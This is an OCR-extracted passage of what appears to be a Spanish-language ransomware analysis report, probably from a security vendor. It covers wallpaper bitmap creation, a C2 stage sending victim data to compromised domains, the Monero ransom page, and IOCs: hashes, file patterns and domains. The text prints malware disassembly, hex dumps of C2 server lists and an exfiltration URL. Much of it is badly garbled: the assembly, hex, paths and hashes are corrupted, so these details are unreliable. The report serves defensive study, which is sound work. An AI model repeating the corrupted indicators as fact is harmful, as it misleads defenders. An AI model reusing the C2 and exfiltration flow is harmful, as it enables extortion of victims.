eax:L"C:\\Users\\I1x* M\\AppData'\Localy\Temp\\zaoi6exao08r.bmp"

Figura 5.11.1: Creacion de Bitmap.
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Realizara un GetObject para obtener los datos del .bmp ya formado y lo colocara en la ruta que hemos
visto antes, creando el objeto con CreateFileW y WriteFile

pop esi
push esi
push [ebptarg_@]
call GetObjecti

test eax, eax
jz loc_4831B4
push esi
push dword ptr ss:[ebp+:j
€dll dword ptr ds:[<&GetObjectw=]
Test eax,eax eax:L'C: users AppData Local Temp Za016xao0sr . bmp
je payload_d112_xor_pe.4031E4
push aCeaeea88h push eax
push [ebptarg_8] push esi
call CreateFilel push edi
mow edi, eax call WriteFile
cmp edi, BFFFFFFFFh|test eax, eax
jz loc_4831B2 jnz short loc_ 483187
push edi
push C0000000
push dword ptr ss:[ebp+10j ebp+10]:L Sers AppData\\Local\\Te Z ac ao
call dword ptr ds: [<&CreateFilews]

& zaoibxacldr.bmp

Figura 5.11.2: Obtencién de la ruta.

El resultado final, sera ver en nuestro escritorio, un fondo, como este, indicandonos que leamos el txt
informativo, que ya estara droppeado por todas las carpetas posibles en nuestro equipo

Your files are encrypted! Open edcqobvbo.info.ixt!

Figura 5.11.3: Muestra de un escritorio con el Bitmap lanzado.
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5.12. Conexion servidor C2

Una vez ya tiene el fondo cambiado, intenta realizar conexiones a unos servidores C2, su objetivo
principal seria el de enviar informacion relevante de la victima a estos, vemos que, introducira las
direcciones de todos los servidores que hemos visto anteriormente en el JSON cargadas

push offset sub_482497
push edi
push 3Bh
push dword ptr ds:41C298h
call _C25ervers
add esp, 1@h
O1ESC7CS | EC 00 79 00|72 00 &9 00|62 00 &1 0O0|6C OO0 &4 OO|0.v.r.i.c.a.1.d.
O1E®CFDE |75 OO0 &E 00 ri g1 00 2E oole3 00 &F OO |(uW.n.d.¥.d...C.0.
O1ESCFES| 6D 00 2B 00|74 00 &8 00|65 00 &2 OO|6F OO0 &1 OO|m.;.T.h.e.b.o.a.
O1ESC7F8| 72 00 &4 00|72 00 &F OO|6F OO0 &D OO|61 OO0 &6 OO|r.d.r.o.o.m.a.f.
O1ESC808 |72 00 &9 00|63 00 61 OO|2E 00 &3 00|6F OO0 6D OO0|r.i.C.d3...C.0.M.
O1E9C818| 3B 00 &3 00|68 00 72 00|69 OO 72 002D OO0 &1 00| ;.c.h.r.i.s.-.a.
D1ESCSB828|6E 00 &E 0OO0|g5 Q0 ZE 00|63 00 &6F 00|60 OO0 3B 0OO(N.N.8...C.0.M.;.
O1ESC838(gF Q0 F7 QO|&6E 00 &9 00|64 00 &5 00 ri o.w.n.i.d.e.n.t.
D1ESCEB48 (g9 00 F4 Q0|7 62 0D 6F OO|6D OO0 2B OO0(i.T.v...C.0.M.}.
Nn4cCo—oCc o TT W £C malc?» e 20 vl 28 My 20 mml2c i 22 Mmilw a k 0 £ C —
Figura 5.12.1: Listado de servidores C2.
Una vez dentro, carga las URL en memoria
————#| 004045FE +8BD7 mov edx,edi - -
| |0 661 85DE test bx,bx
[ ~| 74 1B je payload_d112_xor_pe. 404A20
|: OFB7 30 movzx esi,word ptr ds:[eax]
0 8875 08 mov dword ptr ss:|[ebp+2],esi
I ! BEF3 mov esi,ebx
|: ro=-=3 = 66:3B75 03 cmp si,word ptr ss:|lebp+s]
[ R —— ~| 74 0B je payload_dl112_xor_pe. 404A1E
| 83C2 02 add edx,z
i OFBET32 movzx es57,word ptr ds:[edx]
INEN: 66:85FG test 51,51
| | '-t----= ~| 75 EF jne payload_dl112_xor_pe. 404A0D
| ! el 33F6 xor esi,esi
| === EL 6613932 cmp word ptr ds:[edx],si
| [Pomes ~| 75 DA jne payload_dll1z_xor_pe. 404A2F
| . 83C0 02 add eax,z
*@—ﬁ————}i 6623330 cmp word ptr ds:[eax],si
————p | 00404A2E ~L75 D1 ine payload_dl112_xor_pe. 4043FE
D1ESC7FS|F2 00 &4 00|72 OO0 &F 0OO|&6F 00 & 00|61 OO &6 0O|F.d.r.o.o.m.a.f.
0O1ESCB08 |72 00 &9 00|63 OO0 &1 0OO(2E 00 &3 OO|6F OO0 &0 O0O|r.ji.cC.d...C.0.M.
D1E9CS818| 3B 00 &3 00|68 00 72 00|69 00O 73 0OO|2D OO0 61 00| ;.c.h.r.i.5.-.4.
O1E=®C828|6E 00 6E 0O0(gG5 00 Z2E QO163 0D &F 00|60 OO0 3B 0D N.N.2...C.0.Maj.
O1ESC838 | gF Q0 F7F OO|&E 00 &9 00|64 0O &5 00 i o.w.n.i.d.e.n.t.
O1ESC 5458 i 79 00 2E OQ(63 0D &F OO(6D OO0 3B 0O(d.Tt.¥W...C.0.M.;.
D1E9CS58| 77 00 &5 00|62 00 38 00|36 00 35 0O0|2E OO0 &3 00|w.2.b.8.6.5...C.
D1lE9CB868|6F 00 &0 0O0O(3ZB OO0 70O 0OO(&1 OO 72 0OO|61 OO0 &4 OO|O.m.;.p.a.r.a.d.
D1ESCS78|69 00 &7 0O0(6D OO0 &C 00|61 00 &E OO|64 OO0 73 00|i.g.m.1.a.n.d.s.
O1E=SC888| 632 00 &1 OO|70 OO &5 0OO|2E 0D &3 0OO|6F OO0 6D OO | C.a.p.8...C.0.M.

Figura 5.12.2: Listado de URL cargadas en memoria.

E ird generando los path de las URL mediante un bucle, veremos extensiones como .jpg o .png, el cual
sera la informacidn cifrada relevante de la victima
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esi:L
eax:L"mrkluttz.

esi:L

mrkluttz.

"mrkluttz.

Lt R L

com™
com™

com™

eax: L"mrkluttz. com™

eax:L"https: //mrkluttz. com/static/tmp,/ vy Tmg. jpg™
ecx:L"jpg"

Figura 5.12.3: URL e informacidn del equipo cifrada.
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Posteriormente, vemos como enviara el contenido del txt generado anteriormente y le habra afiadido
una de las URL de la lista, la cual sera el objetivo para enviar todos los datos

< panda

a WatchGuard brand

0041C290: &L"10"

0041C298:

0041C2A0:

0041C2A4

0041C2A8: &L

ebp-40

0041C2AC:
0041C2E0:
0041C2E4:
0041C2ES8:
0041C2BC:

[ J:L™
0041C2C0:&L"

[ebp-2C]

0041C2C4:

0041C2Ca:

0041C2CC:

0041C2D0:

aL"

aL"

TEL"

T
&L

&L"
&L"
&L"

aL"

1yricalduniya.com™

e4cqobvso. info. txt™

Your files are encrypted! Open e4cqobvso.info.txt!™

". e4cqobvso”

auticmarine.dk™
Gadtwz 2QBTacskL+55Wpo65 IkwY2 8ql0xHoe4XtesiM="

EBG82A47BO93AE50"
0TW1 /WEWDCOGMIZE,/6CAFSE/sLvuIl TumaHGYz FwybUuj /bYSvwweIYkX4y10pm]j /2CNU+VN315vyPCzdsPUW
infectado™

INFECTADO-PC"
yricalduniya.com”

L "WORKGROUP"

"en-us"
"False"

"windows 7 Professional”

"QWAD AAALAPC T RO PSCFQAAAFOAB/ ="

Figura 5.12.4: Informacién relevante previa a ser enviado al servidor C2.
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6. Rescate

Para rescatar nuestros archivos, una vez hayamos leido la nota que se habra creado en cada una de las
carpetas, donde el Ransomware haya entrado, deberemos descargar TOR browser, introducir la Key
que se deja en el documento y se nos daran las instrucciones para recuperar los ficheros, para ello,
tenemos que asumir un pago en bitcoins, Monero, en un plazo de 7 dias.
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Enter the key here

SUBMIT

e @

Your documents, photos, To decrypt your files you need to Follow the instructions below. But
databases and other important files buy our special software - emember that you do not have
encrypted qweqwe-Decryptor much time

olll

qweqwe-Decryptor price

You have 6 days, 23:59:52 Current price 27.45744 XMR
*If you do not pay on time, the price will be doubled ~ 500D
*Time ends on Apr 21. 165825 After time ends 5491488 xMR

=3,000USD

Monero address: 84h7N7PNGGCecBaVMUSGS19cFkpy T RVAC * ¥MR will be recalculzted in 5 hours with an actual rate.

INSTRUCTIONS CHAT SUPPORT ABOUT US Paymentmethod MOMERO BITCOIN (+10%)

Figura 6.1: Instrucciones para recuperar datos
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/7. IOC

MD5:
3E974B7347D347AE31C1B11CO5A667TE2
B488BDEEAEDA94A273E4746DB0082841
BED6FC0O4AEB785815744706239A1F243
1CE1CA85BFF4517A1EFTESFOATC22B16
1524B237E65D52AATE2ADD5DBDCCTCO5
A81961697199A3F9524A0F874E281612
512B538CE2C40112009383AE70331DCF
E6566F78ABF3075EBEAGFD037803E176

Fichero de rescate:
<hash_aleatorio>info.txt

Ejemplo: e4cqobv5o.info.txt

Fichero bitmap de escritorio:
<hash_aleatorio>.bmp

Ejemplo: zaoi6xao08r.bmp

Ejemplos de extension del fichero cifrado:

*.jpg.<Hash_aleatorio>
*.png.<Hash_aleatorio>
*.reg.<Hash_aleatorio>
*.xml.<Hash_aleatorio>

Ejemplo: album.mp3.e4cqobv5o

Url Relacionadas:

suitesartemis.gr
rename.kz
jefersonalessandro.com
banukumbak.com
pourlabretagne.bzh
azerbaycanas.com
lesyeuxbleus.net
brannbornfastigheter.se
kryddersnapsen.dk
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